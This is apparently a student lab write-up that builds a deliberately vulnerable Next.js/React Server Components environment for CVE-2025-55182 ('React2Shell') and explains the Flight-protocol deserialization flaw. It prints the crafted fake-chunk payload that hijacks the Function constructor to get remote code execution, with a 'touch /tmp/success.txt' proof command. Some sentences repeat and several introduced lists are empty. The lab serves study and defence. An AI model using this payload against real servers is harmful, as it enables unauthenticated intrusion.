
a.k.a. React2Shell
Sections required by the assignment guidelines are marked with “(Required)”.
This environment uses a custom Dockerfile based on the official Node.js Alpine image.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
The Dockerfile builds a vulnerable React Server Components (RSC) and Next.js App Router environment.
The environment installs vulnerable versions of:
The vulnerable server runs in development mode using npm run dev.
The vulnerable server runs in development mode using npm run dev.
The environment operates using the following structure:
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
The attacker sends a specially crafted multipart/form-data request to the vulnerable Next.js application.
The malicious payload abuses the React Flight protocol deserialization process.
The vulnerable application uses the Next.js App Router architecture.
The request is processed through the React Server Components pipeline.
The application source code is stored inside the src/app/ directory.
src/
└── app/
├── layout.js
└── page.js
The layout.js file defines the root layout required for the App Router structure and initializes the React Server Components environment.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
The page.js file defines the root page rendered at / and displays a simple message indicating that the vulnerable server is running.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
The project dependencies and execution scripts are managed through the package.json file.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
This file defines vulnerable versions of:
The vulnerable application is executed using:
"scripts": {
"dev": "next dev"
}
The server is started through:
npm run dev
which launches the vulnerable Next.js development server on port 3000.
The Flight protocol deserializes complex React objects such as:
The vulnerability occurs during this deserialization process.
The React runtime processes attacker-controlled Flight payloads.
Unsafe property traversal and prototype access eventually allow attackers to hijack the Function constructor.
After successful exploitation, arbitrary JavaScript code executes inside the Node.js server environment.
This leads to Remote Code Execution (RCE).
| Component | Version |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
| react-server-dom-webpack | 19.0.0-rc |
The environment uses vulnerable React Server Components and Flight protocol implementations.
CVE-2025-55182, also known as React2Shell, is a critical Remote Code Execution (RCE) vulnerability affecting React Server Components and the React Flight protocol.
The vulnerability occurs during the deserialization process of attacker-controlled Flight protocol payloads.
The issue allows attackers to:
The vulnerability is particularly dangerous because exploitation can occur without authentication using a single crafted HTTP request.
Applications using vulnerable React Server Components and Next.js App Router configurations are directly exposed.
The root cause of the vulnerability is unsafe handling of attacker-controlled object references during Flight protocol deserialization.
React Flight internally uses special reference strings such as:
$@0
$B1337
$1:__proto__:then
These references are recursively resolved during deserialization.
The vulnerable logic performs property traversal similar to:
value[path[i]]
without validating whether the property belongs to the object itself.
As a result, attackers can access dangerous JavaScript prototype chain properties such as:
__proto__
constructor
prototype
This eventually allows prototype pollution and Function constructor hijacking.
The attacker first creates a fake React chunk object.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
The critical field is:
"status": "resolved_model"
The React runtime incorrectly trusts this field and treats the attacker-controlled object as a legitimate internal chunk object.
The payload:
$1:__proto__:then
causes the deserializer to traverse the JavaScript prototype chain.
Because the vulnerable code does not validate dangerous properties, the attacker gains access to:
Chunk.prototype.then
This transforms the fake chunk into a thenable object.
The payload:
$1:constructor:constructor
ultimately resolves to:
Function
This replaces:
response._formData.get
with the global JavaScript Function constructor.
As a result:
Function(attacker_controlled_payload)
becomes possible.
The payload:
$B1337
forces the React Flight parser into the Blob parsing logic.
During this process:
response._formData.get(...)
is executed.
However, the attacker already replaced this function with the global Function constructor.
This finally results in arbitrary JavaScript execution inside the Node.js runtime.
The exploit process occurs in the following order:
Attacker Request
↓
Flight Payload Parsing
↓
Fake Chunk Creation
↓
Prototype Pollution
↓
Function Constructor Hijacking
↓
Blob Parsing Trigger
↓
Promise Resolution
↓
Remote Code Execution
The attacker first sends a crafted multipart Flight request.
The vulnerable server deserializes the malicious payload and recursively resolves attacker-controlled references.
Unsafe prototype traversal eventually allows the attacker to hijack the Function constructor.
During Promise resolution and Blob parsing, arbitrary JavaScript code is executed.